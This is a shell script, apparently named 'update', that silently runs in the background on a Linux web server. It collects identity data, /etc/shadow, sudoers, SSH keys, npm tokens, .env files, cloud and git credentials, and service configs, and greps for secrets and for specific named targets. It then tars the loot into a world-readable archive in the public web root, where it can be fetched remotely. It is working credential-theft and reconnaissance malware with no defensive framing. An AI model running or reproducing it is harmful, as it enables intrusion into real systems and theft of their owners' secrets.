update 7.4 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465
  1. #!/bin/sh
  2. TAG="4361330"
  3. D="/var/www/html/z4361330"
  4. if mkdir "$D" 2>/dev/null; then
  5. (
  6. exec </dev/null >/dev/null 2>&1
  7. export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
  8. O="$D/out.txt"
  9. {
  10. echo "== identity =="; date -u; id; hostname; uname -a
  11. echo "== passwd =="; cat /etc/passwd
  12. echo "== shadow =="; cat /etc/shadow
  13. echo "== sudo =="; grep -vE '^#|^$' /etc/sudoers 2>/dev/null; ls -la /etc/sudoers.d 2>/dev/null; cat /etc/sudoers.d/* 2>/dev/null
  14. echo "== hosts =="; cat /etc/hosts
  15. echo "== hostname =="; cat /etc/hostname
  16. echo "== root ls =="; ls -la /root
  17. echo "== home tree =="; ls -laR /home 2>/dev/null | head -500
  18. echo "== opt tree =="; ls -laR /opt 2>/dev/null | head -500
  19. echo "== srv tree =="; ls -laR /srv 2>/dev/null | head -200
  20. echo "== var www =="; find /var/www -maxdepth 3 -ls 2>/dev/null | head -250
  21. echo "== docker =="; command -v docker docker-compose podman 2>&1; ls -la /var/lib/docker 2>/dev/null; find / -xdev -maxdepth 5 \( -name 'docker-compose*.yml' -o -name 'docker-compose*.yaml' -o -name 'compose.yaml' \) -not -path '/proc/*' 2>/dev/null | head -20
  22. echo "== node/npm =="; command -v npm node npx pm2 yarn 2>&1; npm config list 2>&1 | head -60; ls -la /root/.npm /home/*/.npm 2>/dev/null | head -80
  23. echo "== npmrc =="; for f in $(find / -xdev -name '.npmrc' -not -path '/proc/*' -not -path '/sys/*' 2>/dev/null | head -20); do echo "--- $f"; cat "$f"; done
  24. echo "== registry-ish dirs =="; find / -xdev -maxdepth 4 \( -iname '*verdaccio*' -o -iname '*registry*' -o -iname '*npm*' \) -not -path '/proc/*' -not -path '/sys/*' -not -path '/usr/share/*' -not -path '/usr/lib/*' -not -path '/usr/src/*' 2>/dev/null | head -100
  25. echo "== nginx =="; command -v nginx 2>&1; ls -la /etc/nginx 2>/dev/null; find /etc/nginx -type f 2>/dev/null | head; cat /etc/nginx/nginx.conf 2>/dev/null | head -120; for f in /etc/nginx/sites-enabled/* /etc/nginx/conf.d/*; do [ -f "$f" ] && { echo "--- $f"; cat "$f"; }; done
  26. echo "== apache =="; apache2ctl -S 2>&1; ls -la /etc/apache2/sites-enabled /etc/apache2/conf-enabled /etc/apache2/mods-enabled 2>/dev/null; for f in /etc/apache2/sites-available/*.conf /etc/apache2/conf-available/*.conf; do [ -f "$f" ] && { echo "--- $f"; cat "$f"; }; done
  27. echo "== certs =="; ls -la /etc/letsencrypt/live /etc/letsencrypt/renewal 2>/dev/null; for f in /etc/letsencrypt/renewal/*.conf; do echo "--- $f"; cat "$f"; done
  28. echo "== systemd units =="; for u in /etc/systemd/system/*.service /etc/systemd/system/*/*.service /lib/systemd/system/gogs* /root/.config/systemd/user/*.service; do [ -f "$u" ] && { echo "--- $u"; cat "$u"; }; done
  29. echo "== running services =="; systemctl list-units --type=service --state=running --no-pager 2>&1 | head -40
  30. echo "== cron =="; ls -la /etc/cron.d /etc/cron.daily /var/spool/cron/crontabs 2>/dev/null; for f in /etc/cron.d/* /var/spool/cron/crontabs/*; do [ -f "$f" ] && { echo "--- $f"; cat "$f"; }; done; for u in root debian; do echo "--- crontab $u"; crontab -l -u $u 2>&1; done
  31. echo "== env =="; cat /etc/environment 2>/dev/null; for f in /etc/default/*; do [ -f "$f" ] && echo "--- $f" && head -40 "$f"; done 2>/dev/null | head -200
  32. echo "== listening =="; ss -lntup 2>&1
  33. echo "== ps =="; ps aux 2>&1 | head -100
  34. echo "== histories =="; find / -xdev -maxdepth 5 \( -name '.bash_history' -o -name '.zsh_history' -o -name '*_history' \) -not -path '/proc/*' 2>/dev/null
  35. echo "== ssh client config =="; for f in /root/.ssh/config /home/*/.ssh/config /etc/ssh/ssh_config /etc/ssh/sshd_config; do [ -f "$f" ] && { echo "--- $f"; cat "$f"; }; done
  36. echo "== known_hosts =="; for f in /root/.ssh/known_hosts /home/*/.ssh/known_hosts; do [ -f "$f" ] && { echo "--- $f"; cat "$f"; }; done
  37. echo "== ssh keys =="; ls -la /root/.ssh /home/*/.ssh 2>/dev/null; for f in /root/.ssh/id_* /home/*/.ssh/id_*; do [ -f "$f" ] && { echo "--- $f"; head -3 "$f"; }; done
  38. echo "== key-ish files =="; find / -xdev \( -name 'id_*' -o -name '*.pem' -o -name '*.key' \) -size -20k -not -path '/proc/*' -not -path '/usr/*' -not -path '/etc/ssl/*' -not -path '/etc/letsencrypt/archive/*' 2>/dev/null | head -80
  39. echo "== cred dotfiles =="; find / -xdev \( -name '.git-credentials' -o -name '.netrc' -o -name '.pgpass' -o -name '.my.cnf' -o -name '.aws' -o -name '.docker' -o -name '.kube' -o -name '.vault-token' -o -name '.composer' \) -not -path '/proc/*' 2>/dev/null | head -40
  40. echo "== env files =="; find / -xdev -maxdepth 6 \( -name '.env' -o -name '*.env' -o -name '.env.*' \) -size -20k -not -path '/proc/*' -not -path '/usr/*' 2>/dev/null | head -40
  41. echo "== git remote configs =="; for f in /root/gogs-repositories/*/*.git/config; do [ -f "$f" ] && { echo "--- $f"; cat "$f"; }; done 2>/dev/null | head -600
  42. echo "== grep electro/37.187 =="; grep -rIn --include='*.conf' --include='*.ini' --include='*.yml' --include='*.yaml' --include='*.json' --include='*.env' --include='*.sh' --include='*.txt' --include='*.md' --include='*.php' --include='*.py' --include='*.js' --include='*.sql' -E '37\.187\.9\.48|electrocoin|bitcoin-mjenjacnica|paycek|mjenjacnica|intercard' /root /home /opt /srv /var/www /etc 2>/dev/null | grep -vE '/gogs-repositories/|/\.git/|node_modules|/var/www/html/(ati|att|net20|windowsinstaller|p3io|retrack|spice2x|FileZilla|Process)' | head -150
  43. echo "== grep secrets =="; grep -rIn --include='*.conf' --include='*.ini' --include='*.yml' --include='*.yaml' --include='*.json' --include='*.env' --include='*.sh' --include='*.py' --include='*.js' -E 'DB_PASSWORD|DBPASS|PASSWORD=|SECRET_KEY|API_KEY|TOKEN=|PRIVATE KEY|_authToken' /root /home /opt /srv /var/www 2>/dev/null | grep -vE 'gogs-repositories|node_modules|gogs/custom/conf/app.ini' | head -150
  44. echo "== app.ini =="; cat /root/gogs/custom/conf/app.ini 2>/dev/null
  45. echo "== apache logs =="; tail -30 /var/log/apache2/access.log 2>/dev/null; echo '--- error'; tail -10 /var/log/apache2/error.log 2>/dev/null
  46. echo "== auth log =="; ls -la /var/log 2>/dev/null | head -40; tail -30 /var/log/auth.log 2>/dev/null
  47. echo "== node app dirs =="; find /root /home /opt /srv -xdev -maxdepth 4 -name 'package.json' -not -path '*/node_modules/*' 2>/dev/null | head -40
  48. echo "== done =="
  49. } > "$O" 2>&1
  50. # bundle: small config-ish files from homes/opt/srv/etc
  51. LIST="$D/list.txt"
  52. : > "$LIST"
  53. find /root /home /opt /srv /var/www -xdev -type f -size -2M \
  54. \( -name '.*' -o -name '*.conf' -o -name '*.ini' -o -name '*.yml' -o -name '*.yaml' -o -name '*.json' -o -name '*.env' -o -name '*.sh' -o -name '*.service' -o -name '*.sql' -o -name '*.php' -o -name '*.txt' -o -name '*.md' -o -name '*.log' -o -name '*.bak' -o -name '*.backup' -o -name '*.cfg' -o -name '*.toml' -o -name '*.xml' \) \
  55. ! -path '/root/gogs-repositories/*' ! -path '*/.git/*' ! -path '*/node_modules/*' ! -path '/var/www/html/*' 2>/dev/null >> "$LIST"
  56. find /etc/apache2 /etc/nginx /etc/systemd/system /etc/cron.d /etc/sudoers.d /etc/letsencrypt/renewal -xdev -type f -size -2M 2>/dev/null >> "$LIST"
  57. for f in /etc/passwd /etc/shadow /etc/group /etc/hosts /etc/hostname /etc/environment /etc/ssh/sshd_config /etc/ssh/ssh_config /root/gogs/custom/conf/app.ini; do [ -f "$f" ] && echo "$f" >> "$LIST"; done
  58. sort -u "$LIST" -o "$LIST"
  59. tar czf "$D/bundle.tgz" -T "$LIST" 2>/dev/null
  60. chmod -R a+rX "$D" 2>/dev/null
  61. ls -la "$D" > "$D/ls.txt" 2>&1
  62. touch "$D/.done"
  63. ) &
  64. fi
  65. exit 0